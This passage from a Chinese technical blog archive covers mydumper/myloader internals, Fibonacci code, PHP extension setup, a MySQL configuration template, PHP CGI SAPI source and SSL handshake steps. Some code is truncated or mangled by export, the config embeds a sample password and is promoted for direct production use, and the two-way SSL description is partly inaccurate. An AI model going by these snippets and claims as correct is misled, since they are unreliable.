c、dumpdb-schema-create.sql和dumpdb-schema-post.sql分别保存数据库dumpdb的建库语句和该库的functions、procedures及events;
d、dumpdb.dumptable-schema.sql保存建表语句;dumpdb.dumptable-schema-view.sql保存表相关视图;dumpdb.dumptable-schema-triggers.sql保存表相关的触发器;
e、dumpdb.dumptable.00000.sql ~ dumpdb.dumptable.00003.sql保存dumptable表所导出的数据。

myloader数据恢复流程如下图所示:

可将整个过程分为三个阶段:

  1. 首先由myloader主线程完成建库建表,依次将备份目录下dumpdb-schema-create.sql和dumpdb.dumptable-schema.sql中的建库和建表语句应用到目标数据库实例中;
  2. 接着myloader主线程会生成多个工作线程,由这些工作线程将所有dumpdb.dumptable.*.sql文件中的记录导入到对应表中,这个阶段是并行的,并行粒度为文件,工作线程完成所有dumpdb.dumptable.*.sql文件数据导入后销毁;
  3. 最后主线程将dumpdb-schema-post.sql、dumpdb.dumptable-schema-view.sql和dumpdb.dumptable-schema-triggers.sql文件中存在的schema导入对应数据库和表中

myloader参数比较简单,主要有如下几个:

-d,指定待恢复的备份目录,注意,该目录必须是mydumper生成的,myloader会判断该目录下是否存在metadata文件;
-q,即queries-per-transaction,表示在工作线程导入表数据时,多少条记录做一次commit,默认为1000;
-o,该参数作用于myloader第一阶段,为true时会删除目标数据库实例对应数据库下的同名表;
-B,表示恢复时,将表恢复到指定的数据库中;
-s,该参数为myloader 0.9.1新增参数,用于恢复备份目录中指定的数据库;
-e,表示在恢复时开启BinLog;
-t,表示主线程需要创建的工作线程数目,影响myloader数据恢复并发度,需要综合存储IO性能等因素确定具体值。

网易RDS对myloader工具做了以下几点优化:

增强-s参数,官方版本-s仅能指定某个数据库,网易RDS对其进行了增强,可以指定多个数据库;
增加-M参数,用于在多线程情况下,调节数据并发度,如设置Threads_running=100,则工作线程在读取每个数据文件前,会先判断当前数据库实例负载是否达到或超过该值,若是,则该工作线程暂时进入休眠状态;
与mydumper相似,网易RDS为myloader也增加了进度查询功能,能够查询工作线程所需执行的所有导入任务数、当前已经完成的导入任务数及每个导入任务所花费时间。

Posted in 数据库技术, 架构运维 | Leave a comment

开源MYSQL多线程逻辑导出工具MYDUMPER原理与改进

mydumper/myloader简介

mydumper(&myloader)是用于对MySQL数据库进行多线程备份和恢复的开源 (GNU GPLv3)工具。开发人员主要来自MySQL、Facebook和SkySQL公司,目前由Percona公司开发和维护,是Percona Remote DBA项目的重要组成部分,包含在Percona XtraDB Cluster中。mydumper的第一版0.1发布于2010.3.26,最新版本0.9.1发布于2015.11.06。

导入导出测试

下图是在SSD和HDD存储介质上将mydumper和同为逻辑备份的MySQL官方mysqldump所做的性能对比测试,测试对象为网易博客库:

可以发现,在备份时间上,mydumper性能比mysqldump好将近1倍,通过分析不难发现,两者性能的差距主要跟备份实例的IO性能以及mydumper开启的线程数有关系,如果外部实例的IO性能很差,那么可能mysqldump单线程就能够将IO吃满,那改为使用mydumper也无法带来性能提升,但如果实例的IO性能较好,通过增加备份线程数(测试所用为2线程),就可能带来成倍的性能提升。导入时间分别使用与mydumper配合使用的myloader多线程sql导入工具以及mysqldump对应的source命令得到。相应的,在IO性能较好的SSD上,myloader的多线程优势体现明显,比source的单线程执行时间上节省将近2倍(测试所用为4线程)。不过在HDD上,由于其本身性能原因,myloader带来的效益变小。

多线程导出原理

mydumper是一种比MySQL官方mysqldump更优秀的备份工具,主要体现在多线程和备份文件保存方式上。在MySQL 5.7版本中,官方发布了一种新的备份工具mysqlpump,也是多线程的,其实现方式给人耳目一新的感觉,但遗憾的是其仍为表级别的并行。而mydumper能够实现记录级别的并行备份,其备份框架由主线程和多个工作线程组成

主线程负责建立数据一致性备份点、初始化工作线程和为工作线程推送备份任务:

  • 对备份实例加读锁,阻塞写操作以建立一致性数据备份快照点,记录备份点BinLog信息;
  • 创建工作线程,初始化备份任务队列,并向队列中推送数据库元数据(schema)、非InnoDB表和InnoDB表的备份任务;

工作线程负责将备份任务队列中的任务按顺序取出并完成备份:

  • 分别建立与备份实例连接,将session的事务级别设置为repeatable-read,用于实现可重复读;
  • 在主线程仍持有全局读锁时开启事务进行快照读,这样保证了读到的一致性数据与主线程相同,实现了备份数据的一致性;
  • 按序从备份任务队列中取出备份任务,工作线程先进行MyISAM等非InnoDB表备份,再完成InnoDB表备份;这样可以在完成非InnoDB表备份通知后主线程释放读锁,尽可能减小对备份实例业务的影响;

mydumper的记录级备份由主线程负责任务拆分,由多个工作线程完成。主线程通过将表数据拆分为多个chunk,每个chunk作为一个备份任务。表数据拆分方式如下所述:mydumper优先选择主键索引的第一列作为chunk划分字段,若不存在主键索引,则选择第一个唯一索引作为划分依据,若还不存在,则选择区分度(Cardinality)最高的任意索引。如果还是无法满足,则只能进行表级的并行备份。在确定了chunk划分字段后,先获取该字段的最大和最小值,再通过执行“explain select field from db.table”来估计该表的记录数,最后根据所设的每个任务(文件)记录数来将该表划分为多个chunk。

以上描述可知,mydumper并不能保证记录级备份时,每个备份任务中的记录数是相同的。另外,目前记录级备份存在一个bug:所用索引字段为负数时主线程会进入死循环无法退出,导致备份失败。https://bugs.launchpad.net/mydumper/+bug/1418355

与mysqldump另一个不同是, mydumper为每个备份任务建立至少一个备份文件。在0.9.1版本中,文件类型包括schema-create、schema、schema-post文件等表元数据文件分别用保存建数据库语句、建表语句(包括触发器)、函数/存储过程/事件定义语句等;数据文件可以根据用户设置为固定大小或固定记录数的文件。这样便以进行更细粒度的数据恢复和数据删除,比如可以在myloader的时候仅选择某几个数据库/表进行恢复。

网易对mydumper的改进

mydumper是一款优秀的备份工具,但也存在不足,包括多线程导出数据对实例业务的影响、逻辑备份方式对热点数据污染和持锁时对业务的阻塞等。网易RDS在mydumper实践中对其进行了多方面的优化。

多线程备份固然好,但在进行备份时往往数据库还在正常提供对外服务,多线程全表select数据会占用很大部分的系统IO能力,导致正常的业务IO性能下降,严重时甚至会使数据库连接爆掉。通过为mydumper增加负载自适应能力来最大限度缓解对线上业务影响:工作线程在每次数据导出前,都会首先观察实例的当前负载情况,举MySQL状态Thread_connected为例,其反映的是目前已连接到该实例的请求数,如果该数值大于设定的阈值,则本次导出操作会暂停,直到数值小于阈值才会恢复,这样就起到了根据实例业务负载情况,灵活调整用于数据导出的线程数来适应线上业务负载的作用。

逻辑备份的全表select不可避免会污染InnoDB Buffer Pool的热点数据,缓存的热点数据被换出,降低了命中率的同时增大了业务的IO量,在使用mydumper时应尽量减小对Buffer Pool的影响;通过调整Buffer Pool的热点算法,使得热点数据尽可能不被换出。修改innodb_old_blocks_time和innodb_old_blocks_pct,用于将全表select进入Buffer Pool放在其old sublist中,同时减小old sublist块在Buffer Pool中的比例,起到最小化污染的作用。其原理详见http://dev.mysql.com/doc/innodb-plugin/1.0/en/idm47548325357504.html

在进行数据备份时,由于MyISAM表是非事务的,为了得到一致性的数据,导出MyISAM表需要全程持有读锁。在通常的MySQL实例中,MyISAM表数据都是很少的,所以持锁时间很短,但若有实例存在大量的MyISAM表数据,那么就会因持锁时间过长对业务的数据更新和插入造成影响。通过为mydumper增加持锁超时时间来避免该问题,所在数据备份过程中,持锁时间超过所设置时间,则mydumper返回失败,通过将MyISAM表转化为InnoDB表后再开始导出。

此外,在对大数据量数据库进行备份时,往往需要耗费较长时间,如果能够实时了解备份进度,相信是一个很好的体验,为此,给mydumper增加了进度查询功能,能够查询mydumper所需执行的所有备份任务数、当前已经完成的备份任务数及每个备份任务所花费时间。

Posted in 数据库技术, 架构运维 | Leave a comment

fibonacci数列递归实现

[php]
fibonacciSequence($n-1)+$this-&gt;fibonacciSequence($n-2)."\n";
}
}
$test = new \com\gaoxueping\test();
//echo $test-&gt;test(‘ct78’);
for($i = 1; $i &lt; 10; $i++){ echo $test-&gt;fibonacciSequence($i)."<br />
<p>
";
}
[/php]

Java实现,有多种实现,递归,递推等等

package com.alibaba;

/**
 * Created by think.
 * Date: 15/11/2018
 * Time: 11:13
 */
public class FbTest {
    public static void main(String[] atrgs) {
//        System.out.println(fibonacci(9));
        System.out.println(fibonacciP(9));

    }

    public static int fibonacci(int n) {
        if (n == 0) {
            return 0;
        }
        if (n == 1) {
            return 1;
        }

        return fibonacci(n - 1) + fibonacci(n -2);
    }

    public static int fibonacciP(int n) {
        int[] f = new int[n + 2];
        f[0] = 0;
        f[1] = 1;

        for (int i = 2; i <= n; i++) {
            f[i] = f[i - 1] + f[i - 2];
        }

        return f[n];
    }
}

python实现

def fibonacci(n):
    if (n == 0):
        return 0;
    if (n == 1):
        return 1;
    return fibonacci(n - 1) + fibonacci(n - 2)

print(fibonacci(9))

def fibonacci(m):
    n, a, b = 0, 0, 1
    while ( n < m):
        a, b = b, a + b
        n = n + 1

Posted in PHP服务器脚本 | Leave a comment

php 5.5.12的redis扩展dll文件 memcache扩展

在windows下面需要php redis的dll文件支持,需要按照版本来安装,这里给出php5.5.12的redis扩展,同时需要php_igbinary.dll文件的支持,在此给出文件

php_redis-2.2.5-5.5-ts-vc11-x64

在php.ini中添加扩展

extension=php_igbinary.dll
extension=php_redis.dll

扩展下载地址

http://windows.php.net/downloads/pecl/snaps/redis/2.2.5/

https://pecl.php.net/package/igbinary/1.1.1/windows

memcache扩展需要针对php版本和从phpinfo查得   PHP Extension Build 信息来下载,例如我的是 API20121212,NTS,VC11

php_memcache-3.0.8-5.5-nts-vc11-x64

然后扩展添加

extension=php_memcache.dll

下载地址

http://pecl.php.net/package/memcache/3.0.8/windows

Posted in PHP服务器脚本, 架构运维 | Leave a comment

MySQL 5.6 & 5.7最优配置文件模板

整理了一份最新基于MySQL
5.6和5.7的配置文件模板,基本上可以说覆盖90%的调优选项,用户只需根据自己的服务器配置稍作修改即可,如InnoDB缓冲池的大小、IO能力
(innodb_buffer_pool_size,innodb_io_capacity)。特别注意,这份配置文件不用修改,可以直接运行在
MySQL 5.6和5.7的版本下,这里使用了小小的技巧,具体可看配置文件。如果配置参数存在问题,也可以及时反馈

做这件事情的原因是大部分网络上的MySQL配置文件都非常非常古老,大多都是基于MySQL
5.1的版本,这导致了绝大部分MySQL并没有运行在最优的环境,从而导致一些错误的使用,亦或是灾难性事故的发生,比如数据丢失,主从数据不一致等。
而这些问题早在5.6版本及以后的版本中得到了解决。

最后,抛弃你那所谓的、陈旧的、错误的MySQL配置文件,面向一个崭新的高性能、高可靠、高可扩展MySQL时代,你要做的就是下载这份配置文件并用于你的生产环境。配置如下:

[sql]
[client]
user=david
password=88888888
[mysqld]
########basic settings########
server-id = 11
port = 3306
user = mysql
bind_address = 10.166.224.32
autocommit = 0
character_set_server=utf8mb4
skip_name_resolve = 1
max_connections = 800
max_connect_errors = 1000
datadir = /data/mysql_data
transaction_isolation = READ-COMMITTED
explicit_defaults_for_timestamp = 1
join_buffer_size = 134217728
tmp_table_size = 67108864
tmpdir = /tmp
max_allowed_packet = 16777216
sql_mode = "STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER"
interactive_timeout = 1800
wait_timeout = 1800
read_buffer_size = 16777216
read_rnd_buffer_size = 33554432
sort_buffer_size = 33554432
########log settings########
log_error = error.log
slow_query_log = 1
slow_query_log_file = slow.log
log_queries_not_using_indexes = 1
log_slow_admin_statements = 1
log_slow_slave_statements = 1
log_throttle_queries_not_using_indexes = 10
expire_logs_days = 90
long_query_time = 2
min_examined_row_limit = 100
########replication settings########
master_info_repository = TABLE
relay_log_info_repository = TABLE
log_bin = bin.log
sync_binlog = 1
gtid_mode = on
enforce_gtid_consistency = 1
log_slave_updates
binlog_format = row
relay_log = relay.log
relay_log_recovery = 1
binlog_gtid_simple_recovery = 1
slave_skip_errors = ddl_exist_errors
########innodb settings########
innodb_page_size = 8192
innodb_buffer_pool_size = 6G
innodb_buffer_pool_instances = 8
innodb_buffer_pool_load_at_startup = 1
innodb_buffer_pool_dump_at_shutdown = 1
innodb_lru_scan_depth = 2000
innodb_lock_wait_timeout = 5
innodb_io_capacity = 4000
innodb_io_capacity_max = 8000
innodb_flush_method = O_DIRECT
innodb_file_format = Barracuda
innodb_file_format_max = Barracuda
innodb_log_group_home_dir = /redolog/
innodb_undo_directory = /undolog/
innodb_undo_logs = 128
innodb_undo_tablespaces = 3
innodb_flush_neighbors = 1
innodb_log_file_size = 4G
innodb_log_buffer_size = 16777216
innodb_purge_threads = 4
innodb_large_prefix = 1
innodb_thread_concurrency = 64
innodb_print_all_deadlocks = 1
innodb_strict_mode = 1
innodb_sort_buffer_size = 67108864
########semi sync replication settings########
plugin_dir=/usr/local/mysql/lib/plugin
plugin_load = "rpl_semi_sync_master=semisync_master.so;rpl_semi_sync_slave=semisync_slave.so"
loose_rpl_semi_sync_master_enabled = 1
loose_rpl_semi_sync_slave_enabled = 1
loose_rpl_semi_sync_master_timeout = 5000
[mysqld-5.7]
innodb_buffer_pool_dump_pct = 40
innodb_page_cleaners = 4
innodb_undo_log_truncate = 1
innodb_max_undo_log_size = 2G
innodb_purge_rseg_truncate_frequency = 128
binlog_gtid_simple_recovery=1
log_timestamps=system
transaction_write_set_extraction=MURMUR32
show_compatibility_56=on
[/sql]

配置文件下载链接 http://pan.baidu.com/s/1pKje2fD

Posted in 数据库技术, 架构运维 | Leave a comment

PHP内核探索:从SAPI接口开始

SAPI:Server Application Programming Interface
服务器端应用编程端口。研究过PHP架构的同学应该知道这个东东的重要性,它提供了一个接口,使得PHP可以和其他应用进行交互数据。
本文不会详细介绍每个PHP的SAPI,只是针对最简单的CGI SAPI,来说明SAPI的机制。

我们先来看看PHP的架构图:

2012_02_02_01

SAPI指的是PHP具体应用的编程接口, 就像PC一样,无论安装哪些操作系统,只要满足了PC的接口规范都可以在PC上正常运行, PHP脚本要执行有很多种方式,通过Web服务器,或者直接在命令行下,也可以嵌入在其他程序中。

通常,我们使用Apache或者Nginx这类Web服务器来测试PHP脚本,或者在命令行下通过PHP解释器程序来执行。 脚本执行完后,Web服务器应答,浏览器显示应答信息,或者在命令行标准输出上显示内容。

我们很少关心PHP解释器在哪里。虽然通过Web服务器和命令行程序执行脚本看起来很不一样,
实际上它们的工作流程是一样的。命令行参数传递给PHP解释器要执行的脚本,
相当于通过url请求一个PHP页面。脚本执行完成后返回响应结果,只不过命令行的响应结果是显示在终端上。

脚本执行的开始都是以SAPI接口实现开始的。只是不同的SAPI接口实现会完成他们特定的工作, 例如Apache的mod_php SAPI实现需要初始化从Apache获取的一些信息,在输出内容是将内容返回给Apache, 其他的SAPI实现也类似。

SAPI提供了一个和外部通信的接口, 对于PHP5.2,默认提供了很多种SAPI,
常见的给apache的mod_php5,CGI,给IIS的ISAPI,还有Shell的CLI,本文就从CGI SAPI入手
,介绍SAPI的机制。 虽然CGI简单,但是不用担心,它包含了绝大部分内容,足以让你深刻理解SAPI的工作原理。

要定义个SAPI,首先要定义个sapi_module_struct, 查看 PHP-SRC/sapi/cgi/cgi_main.c:

[php]
*/
static sapi_module_struct cgi_sapi_module = {
#if PHP_FASTCGI
"cgi-fcgi", /* name */
"CGI/FastCGI", /* pretty name */
#else
"cgi", /* name */
"CGI", /* pretty name */
#endif
php_cgi_startup, /* startup */
php_module_shutdown_wrapper, /* shutdown */
NULL, /* activate */
sapi_cgi_deactivate, /* deactivate */
sapi_cgibin_ub_write, /* unbuffered write */
sapi_cgibin_flush, /* flush */
NULL, /* get uid */
sapi_cgibin_getenv, /* getenv */
php_error, /* error handler */
NULL, /* header handler */
sapi_cgi_send_headers, /* send headers handler */
NULL, /* send header handler */
sapi_cgi_read_post, /* read POST data */
sapi_cgi_read_cookies, /* read Cookies */
sapi_cgi_register_variables, /* register server variables */
sapi_cgi_log_message, /* Log message */
NULL, /* Get request time */
STANDARD_SAPI_MODULE_PROPERTIES
};
[/php]

这个结构,包含了一些常量,比如name, 这个会在我们调用php_info()的时候被使用。一些初始化,收尾函数,以及一些函数指针,用来告诉Zend,如何获取,和输出数据。

1. php_cgi_startup, 当一个应用要调用PHP的时候,这个函数会被调用,对于CGI来说,它只是简单的调用了PHP的初始化函数:

[php]
static int php_cgi_startup(sapi_module_struct *sapi_module)
{
if (php_module_startup(sapi_module, NULL, 0) == FAILURE) {
return FAILURE;
}
return SUCCESS;
}
[/php]

2. php_module_shutdown_wrapper , 一个对PHP关闭函数的简单包装。只是简单的调用php_module_shutdown;

3.
PHP会在每个request的时候,处理一些初始化,资源分配的事务。这部分就是activate字段要定义的,从上面的结构我们可以看出,对于CGI
来说,它并没有提供初始化处理句柄。对于mod_php来说,那就不同了,他要在apache的pool中注册资源析构函数, 申请空间,
初始化环境变量,等等。

4. sapi_cgi_deactivate, 这个是对应与activate的函数,顾名思义,它会提供一个handler, 用来处理收尾工作,对于CGI来说,他只是简单的刷新缓冲区,用以保证用户在Zend关闭前得到所有的输出数据:

[php]
static int sapi_cgi_deactivate(TSRMLS_D)
{
/* flush only when SAPI was started. The reasons are:
1. SAPI Deactivate is called from two places: module init and request shutdown
2. When the first call occurs and the request is not set up, flush fails on
FastCGI.
*/
if (SG(sapi_started)) {
sapi_cgibin_flush(SG(server_context));
}
return SUCCESS;
}
[/php]

5. sapi_cgibin_ub_write, 这个hanlder告诉了Zend,如何输出数据,对于mod_php来说,这个函数提供了一个向response数据写的接口,而对于CGI来说,只是简单的写到stdout:

[php]
static inline size_t sapi_cgibin_single_write(const char *str, uint str_length TSRMLS_DC)
{
#ifdef PHP_WRITE_STDOUT
long ret;
#else
size_t ret;
#endif
#if PHP_FASTCGI
if (fcgi_is_fastcgi()) {
fcgi_request *request = (fcgi_request*) SG(server_context);
long ret = fcgi_write(request, FCGI_STDOUT, str, str_length);
if (ret &lt;= 0) { return 0; } return ret; } #endif #ifdef PHP_WRITE_STDOUT ret = write(STDOUT_FILENO, str, str_length); if (ret &lt;= 0) return 0; return ret; #else ret = fwrite(str, 1, MIN(str_length, 16384), stdout); return ret; #endif } static int sapi_cgibin_ub_write(const char *str, uint str_length TSRMLS_DC) { const char *ptr = str; uint remaining = str_length; size_t ret; while (remaining &gt; 0) {
ret = sapi_cgibin_single_write(ptr, remaining TSRMLS_CC);
if (!ret) {
php_handle_aborted_connection();
return str_length – remaining;
}
ptr += ret;
remaining -= ret;
}
return str_length;
}
[/php]

把真正的写的逻辑剥离出来,就是为了简单实现兼容fastcgi的写方式。

6. sapi_cgibin_flush, 这个是提供给zend的刷新缓存的函数句柄,对于CGI来说,只是简单的调用系统提供的fflush;

7.NULL, 这部分用来让Zend可以验证一个要执行脚本文件的state,从而判断文件是否据有执行权限等等,CGI没有提供。

8. sapi_cgibin_getenv,
为Zend提供了一个根据name来查找环境变量的接口,对于mod_php5来说,当我们在脚本中调用getenv的时候,就会间接的调用这个句柄。而
对于CGI来说,因为他的运行机制和CLI很类似,直接调用父级是Shell, 所以,只是简单的调用了系统提供的genenv:

[php]
static char *sapi_cgibin_getenv(char *name, size_t name_len TSRMLS_DC)
{
#if PHP_FASTCGI
/* when php is started by mod_fastcgi, no regular environment
is provided to PHP. It is always sent to PHP at the start
of a request. So we have to do our own lookup to get env
vars. This could probably be faster somehow. */
if (fcgi_is_fastcgi()) {
fcgi_request *request = (fcgi_request*) SG(server_context);
return fcgi_getenv(request, name, name_len);
}
#endif
/* if cgi, or fastcgi and not found in fcgi env
check the regular environment */
return getenv(name);
}
[/php]

9. php_error, 错误处理函数, 到这里,说几句题外话,上次看到php maillist
提到的使得PHP的错误处理机制完全OO化,
也就是,改写这个函数句柄,使得每当有错误发生的时候,都throw一个异常。而CGI只是简单的调用了PHP提供的错误处理函数。

10. 这个函数会在我们调用PHP的header()函数的时候被调用,对于CGI来说,不提供。

11. sapi_cgi_send_headers, 这个函数会在要真正发送header的时候被调用,一般来说,就是当有任何的输出要发送之前:

[php]
static int sapi_cgi_send_headers(sapi_headers_struct *sapi_headers TSRMLS_DC)
{
char buf[SAPI_CGI_MAX_HEADER_LENGTH];
sapi_header_struct *h;
zend_llist_position pos;
if (SG(request_info).no_headers == 1) {
return SAPI_HEADER_SENT_SUCCESSFULLY;
}
if (cgi_nph || SG(sapi_headers).http_response_code != 200)
{
int len;
if (rfc2616_headers &amp;&amp; SG(sapi_headers).http_status_line) {
len = snprintf(buf, SAPI_CGI_MAX_HEADER_LENGTH,
"%s\r\n", SG(sapi_headers).http_status_line);
if (len &gt; SAPI_CGI_MAX_HEADER_LENGTH) {
len = SAPI_CGI_MAX_HEADER_LENGTH;
}
} else {
len = sprintf(buf, "Status: %d\r\n", SG(sapi_headers).http_response_code);
}
PHPWRITE_H(buf, len);
}
h = (sapi_header_struct*)zend_llist_get_first_ex(&amp;sapi_headers-&gt;headers, &amp;pos);
while (h) {
/* prevent CRLFCRLF */
if (h-&gt;header_len) {
PHPWRITE_H(h-&gt;header, h-&gt;header_len);
PHPWRITE_H("\r\n", 2);
}
h = (sapi_header_struct*)zend_llist_get_next_ex(&amp;sapi_headers-&gt;headers, &amp;pos);
}
PHPWRITE_H("\r\n", 2);
return SAPI_HEADER_SENT_SUCCESSFULLY;
}
[/php]

12. NULL, 这个用来单独发送每一个header, CGI没有提供

13. sapi_cgi_read_post, 这个句柄指明了如何获取POST的数据,如果做过CGI编程的话,我们就知道CGI是从stdin中读取POST DATA的:

[php]
static int sapi_cgi_read_post(char *buffer, uint count_bytes TSRMLS_DC)
{
uint read_bytes=0, tmp_read_bytes;
#if PHP_FASTCGI
char *pos = buffer;
#endif
count_bytes = MIN(count_bytes, (uint) SG(request_info).content_length – SG(read_post_bytes));
while (read_bytes &lt; count_bytes) { #if PHP_FASTCGI if (fcgi_is_fastcgi()) { fcgi_request *request = (fcgi_request*) SG(server_context); tmp_read_bytes = fcgi_read(request, pos, count_bytes – read_bytes); pos += tmp_read_bytes; } else { tmp_read_bytes = read(0, buffer + read_bytes, count_bytes – read_bytes); } #else tmp_read_bytes = read(0, buffer + read_bytes, count_bytes – read_bytes); #endif if (tmp_read_bytes &lt;= 0) { break; } read_bytes += tmp_read_bytes; } return read_bytes; } [/php]

14. sapi_cgi_read_cookies, 这个和上面的函数一样,只不过是去获取cookie值:

[php]
static char *sapi_cgi_read_cookies(TSRMLS_D)
{
return sapi_cgibin_getenv((char *) "HTTP_COOKIE", sizeof("HTTP_COOKIE")-1 TSRMLS_CC);
}
[/php]

15. sapi_cgi_register_variables,
这个函数给了一个接口,用以给$_SERVER变量中添加变量,对于CGI来说,注册了一个PHP_SELF,这样我们就可以在脚本中访
问$_SERVER[‘PHP_SELF’]来获取本次的request_uri:

[php]
static void sapi_cgi_register_variables(zval *track_vars_array TSRMLS_DC)
{
/* In CGI mode, we consider the environment to be a part of the server
* variables
*/
php_import_environment_variables(track_vars_array TSRMLS_CC);
/* Build the special-case PHP_SELF variable for the CGI version */
php_register_variable("PHP_SELF", (SG(request_info).request_uri ? SG(request_info).request_uri : ""), track_vars_array TSRMLS_CC);
}
[/php]

16. sapi_cgi_log_message ,用来输出错误信息,对于CGI来说,只是简单的输出到stderr:

[php]
static void sapi_cgi_log_message(char *message)
{
#if PHP_FASTCGI
if (fcgi_is_fastcgi() &amp;&amp; fcgi_logging) {
fcgi_request *request;
TSRMLS_FETCH();
request = (fcgi_request*) SG(server_context);
if (request) {
int len = strlen(message);
char *buf = malloc(len+2);
memcpy(buf, message, len);
memcpy(buf + len, "\n", sizeof("\n"));
fcgi_write(request, FCGI_STDERR, buf, len+1);
free(buf);
} else {
fprintf(stderr, "%s\n", message);
}
/* ignore return code */
} else
#endif /* PHP_FASTCGI */
fprintf(stderr, "%s\n", message);
}
[/php]

经过分析,我们已经了解了一个SAPI是如何实现的了, 分析过CGI以后,我们也就可以想象mod_php, embed等SAPI的实现机制。

Posted in PHP服务器脚本, 架构运维 | Leave a comment

SSL握手协议

SSL又叫“安全套接层(Secure Sockets Layer)协议”,是一种在客户端和服务器端之间建立安全通道的协议。

SSL为通信双方提供了一种安全、可信、有效的通信方式。

SSL协议分为密匙协商、数据通信两个部分,其中密匙协商就是所说的握手协议。
形象的可以用下面这幅图来说明。

000_thumb

具体过程通过wireshark抓取ie6跟gmail的通信过程可以看出一二

001_thumb

这是Client Hello内容:

002_thumb

这是Server Hello内容:

003_thumb

这是服务器传输的证书:

004_thumb

这样就对SSL通信过程有了一个大致的了解

Posted in 架构运维 | Leave a comment

SSL协议(HTTPS) 握手、工作流程详解(双向HTTPS流程)

SSL协议的工作流程:

服务器认证阶段:1)客户端向服务器发送一个开始信息“Hello”以便开始一个新的会话连接;2)服务器根据客户的信息确定是否需要生成新的主密钥,如需要则服务器在响应客户的“Hello”信息时将包含生成主密钥所需的信息;3)客户根据收到的服务器响应信息,产生一个主密钥,并用服务器的公开密钥加密后传给服务器;4)服务器恢复该主密钥,并返回给客户一个用主密钥认证的信息,以此让客户认证服务器。
用户认证阶段:在此之前,服务器已经通过了客户认证,这一阶段主要完成对客户的认证。经认证的服务器发送一个提问给客户,客户则返回(数字)签名后的提问和其公开密钥,从而向服务器提供认证。
从SSL 协议所提供的服务及其工作流程可以看出,SSL协议运行的基础是商家对消费者信息保密的承诺,这就有利于商家而不利于消费者。在电子商务初级阶段,由于运作电子商务的企业大多是信誉较高的大公司,因此这问题还没有充分暴露出来。但随着电子商务的发展,各中小型公司也参与进来,这样在电子支付过程中的单一认证问题就越来越突出。虽然在SSL3.0中通过数字签名和数字证书可实现浏览器和Web服务器双方的身份验证,但是SSL协议仍存在一些问题,比如,只能提供交易中客户与服务器间的双方认证,在涉及多方的电子交易中,SSL协议并不能协调各方间的安全传输和信任关系。在这种情况下,Visa和 MasterCard两大信用卡公组织制定了SET协议,为网上信用卡支付提供了全球性的标准。

SSL协议的握手过程   

为了便于更好的认识和理解 SSL 协议,这里着重介绍 SSL 协议的握手协议。SSL 协议既用到了公钥加密技术(非对称加密)又用到了对称加密技术,SSL对传输内容的加密是采用的对称加密,然后对对称加密的密钥使用公钥进行非对称加密。这样做的好处是,对称加密技术比公钥加密技术的速度快,可用来加密较大的传输内容, 公钥加密技术相对较慢,提供了更好的身份认证技术,可用来加密对称加密过程使用的密钥。
SSL 的握手协议非常有效的让客户和服务器之间完成相互之间的身份认证,其主要过程如下:
  ①客户端的浏览器向服务器传送客户端 SSL 协议的版本号,加密算法的种类,产生的随机数,以及其他服务器和客户端之间通讯所需要的各种信息。

  ②服务器向客户端传送 SSL 协议的版本号,加密算法的种类,随机数以及其他相关信息,同时服务器还将向客户端传送自己的证书。

  ③客户利用服务器传过来的信息验证服务器的合法性,服务器的合法性包括:证书是否过期,发行服务器证书的 CA 是否可靠,发行者证书的公钥能否正确解开服务器证书的“发行者的数字签名”,服务器证书上的域名是否和服务器的实际域名相匹配。如果合法性验证没有通过,通讯将断开;如果合法性验证通过,将继续进行第四步。

  ④用户端随机产生一个用于后面通讯的“对称密码”,然后用服务器的公钥(服务器的公钥从步骤②中的服务器的证书中获得)对其加密,然后将加密后的“预主密码”传给服务器。

  ⑤如果服务器要求客户的身份认证(在握手过程中为可选),用户可以建立一个随机数然后对其进行数据签名,将这个含有签名的随机数和客户自己的证书以及加密过的“预主密码”一起传给服务器。

  ⑥如果服务器要求客户的身份认证,服务器必须检验客户证书和签名随机数的合法性,具体的合法性验证过程包括:客户的证书使用日期是否有效,为客户提供证书的CA 是否可靠,发行CA 的公钥能否正确解开客户证书的发行 CA 的数字签名,检查客户的证书是否在证书废止列表(CRL)中。检验如果没有通过,通讯立刻中断;如果验证通过,服务器将用自己的私钥解开加密的“预主密码 ”,然后执行一系列步骤来产生主通讯密码(客户端也将通过同样的方法产生相同的主通讯密码)。

  ⑦服务器和客户端用相同的主密码即“通话密码”,一个对称密钥用于 SSL 协议的安全数据通讯的加解密通讯。同时在 SSL 通讯过程中还要完成数据通讯的完整性,防止数据通讯中的任何变化。

  ⑧客户端向服务器端发出信息,指明后面的数据通讯将使用的步骤⑦中的主密码为对称密钥,同时通知服务器客户端的握手过程结束。

  ⑨服务器向客户端发出信息,指明后面的数据通讯将使用的步骤⑦中的主密码为对称密钥,同时通知客户端服务器端的握手过程结束。
  ⑩SSL 的握手部分结束,SSL 安全通道的数据通讯开始,客户和服务器开始使用相同的对称密钥进行数据通讯,同时进行通讯完整性的检验。

双向认证 SSL 协议的具体过程
  ① 浏览器发送一个连接请求给安全服务器。

  ② 服务器将自己的证书,以及同证书相关的信息发送给客户浏览器。

  ③ 客户浏览器检查服务器送过来的证书是否是由自己信赖的 CA 中心所签发的。如果是,就继续执行协议;如果不是,客户浏览器就给客户一个警告消息:警告客户这个证书不是可以信赖的,询问客户是否需要继续。

  ④ 接着客户浏览器比较证书里的消息,例如域名和公钥,与服务器刚刚发送的相关消息是否一致,如果是一致的,客户浏览器认可这个服务器的合法身份。

  ⑤ 服务器要求客户发送客户自己的证书。收到后,服务器验证客户的证书,如果没有通过验证,拒绝连接;如果通过验证,服务器获得用户的公钥。

  ⑥ 客户浏览器告诉服务器自己所能够支持的通讯对称密码方案。

  ⑦ 服务器从客户发送过来的密码方案中,选择一种加密程度最高的密码方案,用客户的公钥加过密后通知浏览器。

  ⑧ 浏览器针对这个密码方案,选择一个通话密钥,接着用服务器的公钥加过密后发送给服务器。

  ⑨ 服务器接收到浏览器送过来的消息,用自己的私钥解密,获得通话密钥。

  ⑩ 服务器、浏览器接下来的通讯都是用对称密码方案,对称密钥是加过密的。

